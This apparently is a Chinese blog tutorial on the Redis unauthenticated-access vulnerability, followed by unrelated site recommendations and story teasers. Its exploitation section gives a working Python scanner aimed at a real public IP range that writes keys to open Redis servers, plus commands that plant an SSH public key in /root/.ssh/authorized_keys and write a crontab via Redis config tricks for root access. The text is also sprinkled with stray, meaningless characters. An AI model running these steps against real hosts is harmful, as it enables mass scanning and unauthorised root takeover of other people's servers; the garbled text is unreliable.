Redis數(shù)據(jù)庫漏洞

1.什么是Redis

Redis 是一個(gè)開源的使用ANSI C語言編寫呻澜、Key-Value數(shù)據(jù)庫,并提供多種語言的API,所謂的KEY對(duì)Value指的是每一個(gè)Key都對(duì)應(yīng)一個(gè)value值。value也可以 是null始花。與memcached一樣,為了保證效率孩锡,數(shù)據(jù)都是緩存在內(nèi)存中酷宵。區(qū)別的是redis會(huì)周期性的把更新的數(shù)據(jù)寫入磁盤或者用戶可以自己手工輸 入save命令保存在服務(wù)器上,并且在此基礎(chǔ)上實(shí)現(xiàn)了master-slave(主從)同步躬窜。

2.Redis客戶端

Redis默認(rèn)安裝好默認(rèn)端口是6379
Redis默認(rèn)配置是不對(duì)外開放浇垦,也就是不允許外聯(lián),需要用戶手工修改/etc/redis/redis.conf
Redis默認(rèn)情況下是無需任何賬戶密碼進(jìn)行連接的
Redis安裝之后默認(rèn)會(huì)有一個(gè)叫 “redis-server”的服務(wù)端用于啟動(dòng)redis服務(wù)荣挨,啟動(dòng)命令“redis-server /etc/redis/redis.conf”
Redis安裝之后默認(rèn)還會(huì)有一個(gè)“redis-cli”的客戶端男韧,用于連接redis數(shù)據(jù)庫,可以自身連接也可以連接其它主機(jī)上的redis

redis-cli 客戶端命令

-h  :指定要連接的主機(jī)IP或域名  
-p :指定連接的端口  
-a :指定密碼  
-r  :執(zhí)行指定的命令  
-n  :數(shù)據(jù)庫名  
-x :將最后一個(gè)參數(shù)輸出為value  

服務(wù)器操作命令

info:獲取redis以及服務(wù)器的基本信息
config get dir :獲取數(shù)據(jù)庫備份文件的路徑
config set dir /root :設(shè)置redis的備份路徑為/root默垄,如果提示沒權(quán)限說明你當(dāng)前無權(quán)限設(shè)置該目錄
config set dbfilename test :設(shè)置數(shù)據(jù)庫備份文件的名字
config get dbfilename :獲取數(shù)據(jù)庫備份的名字
save : 將數(shù)據(jù)庫的內(nèi)容備份到本地磁盤煌抒,默認(rèn)備份在安裝Redis的src目錄,名字為dump.rdb

3.漏洞利用過程

首先掃描出有漏洞的主機(jī)厕倍,運(yùn)行一下腳本可以掃描網(wǎng)段內(nèi)主機(jī)是否開啟6379端口,開啟的話再去驗(yàn)證是否有權(quán)限認(rèn)證

#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
import redis

def portScanner(host,port):
    try:
        s = socket(AF_INET,SOCK_STREAM)
        s.connect((host,port))
        # print('[+]%s, %d open' % (host, port))
        s.close()
        return True
    except:
        # print('[-]%s, %d close' % (host, port))
        return False

def ip2num(ip):
    ip=[int(x) for x in ip.split('.')]
    return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]

def num2ip(num):
    return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
                            (num & 0x00ff0000) >>16,
                            (num & 0x0000ff00) >>8,
                            num & 0x000000ff )
def get_ip(ip):
    start,end = [ip2num(x) for x in ip.split('-') ]
    return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]

def main():
    setdefaulttimeout(1)
    iplist = get_ip('119.29.0.0-119.29.255.255')
    for i in iplist:
        if portScanner(i, 6379):
            try:
                r = redis.Redis(host = i, port = 6379, db = 0)
                r.set('redis-t', '0xff000000')
                print r
            except:
                print "NOAUTH Authentication required."
  

if __name__ == '__main__':
    main()

得到掃描后的主機(jī)信息后贩疙,即可直接登陸redis數(shù)據(jù)庫

redis-cli -h 119.29.9.133

然后ssh-keygen –t rsa -f filename 生成公私鑰
將私鑰放在~/.ssh下命名為id_rsa讹弯,將公鑰設(shè)置為目標(biāo)數(shù)據(jù)庫的一個(gè)鍵

(echo -e "\n\n"; cat filename.pub; echo -e "\n\n") > key.txt  
這條命令的含義是將id_rsa.pub的內(nèi)容輸出到key.txt,前后各加上兩行空行这溅,防止出錯(cuò)
cat key.txt | redis-cli -h 119.29.9.133 -x set crackit
這條命令的意思是連接目標(biāo)119.29.9.133的redis组民,通過-x參數(shù)將key.txt 設(shè)置為 key “crackit” 的value

然后首先判斷是否有/root/.ssh,如果有直接將dbfilename設(shè)為authorized_keys悲靴,然后將密鑰存進(jìn)去即可

如果沒有在判斷服務(wù)器是否安裝crontab臭胜,利用crontab來創(chuàng)建文件/root/.ssh

echo -e "\n\n*/1 * * * * /bin/mkdir ~/.ssh \n\n"|redis-cli -h 127.0.0.1 -x set 2
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 config set dbfilename root
redis-cli -h 127.0.0.1 save

如果這兩步都失敗就可以放棄了

參考文章:http://blog.nsfocus.net/redis-unauthorized-ssh-free-password-vulnerabilities-fixes/

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市癞尚,隨后出現(xiàn)的幾起案子耸三,更是在濱河造成了極大的恐慌,老刑警劉巖浇揩,帶你破解...
    沈念sama閱讀 216,496評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件仪壮,死亡現(xiàn)場離奇詭異,居然都是意外死亡胳徽,警方通過查閱死者的電腦和手機(jī)积锅,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,407評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門爽彤,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人缚陷,你說我怎么就攤上這事适篙。” “怎么了箫爷?”我有些...
    開封第一講書人閱讀 162,632評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵嚷节,是天一觀的道長。 經(jīng)常有香客問我蝶缀,道長丹喻,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,180評(píng)論 1 292
  • 正文 為了忘掉前任翁都,我火速辦了婚禮碍论,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘柄慰。我一直安慰自己鳍悠,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,198評(píng)論 6 388
  • 文/花漫 我一把揭開白布坐搔。 她就那樣靜靜地躺著藏研,像睡著了一般。 火紅的嫁衣襯著肌膚如雪概行。 梳的紋絲不亂的頭發(fā)上蠢挡,一...
    開封第一講書人閱讀 51,165評(píng)論 1 299
  • 那天,我揣著相機(jī)與錄音凳忙,去河邊找鬼业踏。 笑死,一個(gè)胖子當(dāng)著我的面吹牛涧卵,可吹牛的內(nèi)容都是我干的勤家。 我是一名探鬼主播,決...
    沈念sama閱讀 40,052評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼柳恐,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼伐脖!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起乐设,我...
    開封第一講書人閱讀 38,910評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤讼庇,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后伤提,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體挎塌,經(jīng)...
    沈念sama閱讀 45,324評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡终娃,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,542評(píng)論 2 332
  • 正文 我和宋清朗相戀三年俺驶,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片却嗡。...
    茶點(diǎn)故事閱讀 39,711評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖嘹承,靈堂內(nèi)的尸體忽然破棺而出窗价,到底是詐尸還是另有隱情,我是刑警寧澤叹卷,帶...
    沈念sama閱讀 35,424評(píng)論 5 343
  • 正文 年R本政府宣布撼港,位于F島的核電站,受9級(jí)特大地震影響骤竹,放射性物質(zhì)發(fā)生泄漏帝牡。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,017評(píng)論 3 326
  • 文/蒙蒙 一蒙揣、第九天 我趴在偏房一處隱蔽的房頂上張望靶溜。 院中可真熱鬧,春花似錦懒震、人聲如沸罩息。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,668評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽瓷炮。三九已至,卻和暖如春递宅,著一層夾襖步出監(jiān)牢的瞬間娘香,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,823評(píng)論 1 269
  • 我被黑心中介騙來泰國打工办龄, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留茅主,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,722評(píng)論 2 368
  • 正文 我出身青樓土榴,卻偏偏與公主長得像,于是被迫代替她去往敵國和親响牛。 傳聞我的和親對(duì)象是個(gè)殘疾皇子玷禽,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,611評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn)呀打,斷路器矢赁,智...
    卡卡羅2017閱讀 134,651評(píng)論 18 139
  • Redis是一個(gè)開源的使用ANSIC語言編寫、支持網(wǎng)絡(luò)贬丛、可基于內(nèi)存亦可持久化的日志型撩银、Key-Value數(shù)據(jù)庫,并...
    708e8568411c閱讀 458評(píng)論 0 1
  • 1 Redis介紹1.1 什么是NoSql為了解決高并發(fā)够庙、高可擴(kuò)展、高可用抄邀、大數(shù)據(jù)存儲(chǔ)問題而產(chǎn)生的數(shù)據(jù)庫解決方...
    克魯?shù)吕?/span>閱讀 5,291評(píng)論 0 36
  • 一耘眨、簡介 1、所在框架 CADisplayLink和其它CoreAnimation類一樣境肾,都是在QuartzCor...
    未明一二閱讀 8,860評(píng)論 3 5
  • 文/雒宏軍 前些天剔难,到實(shí)驗(yàn)小學(xué)參加2017屆學(xué)生畢業(yè)典禮。典禮共設(shè)置了五個(gè)環(huán)節(jié)奥喻,第一環(huán)節(jié)分班級(jí)播放了學(xué)生入學(xué)時(shí)和在...
    雒宏軍的菜園子閱讀 444評(píng)論 2 4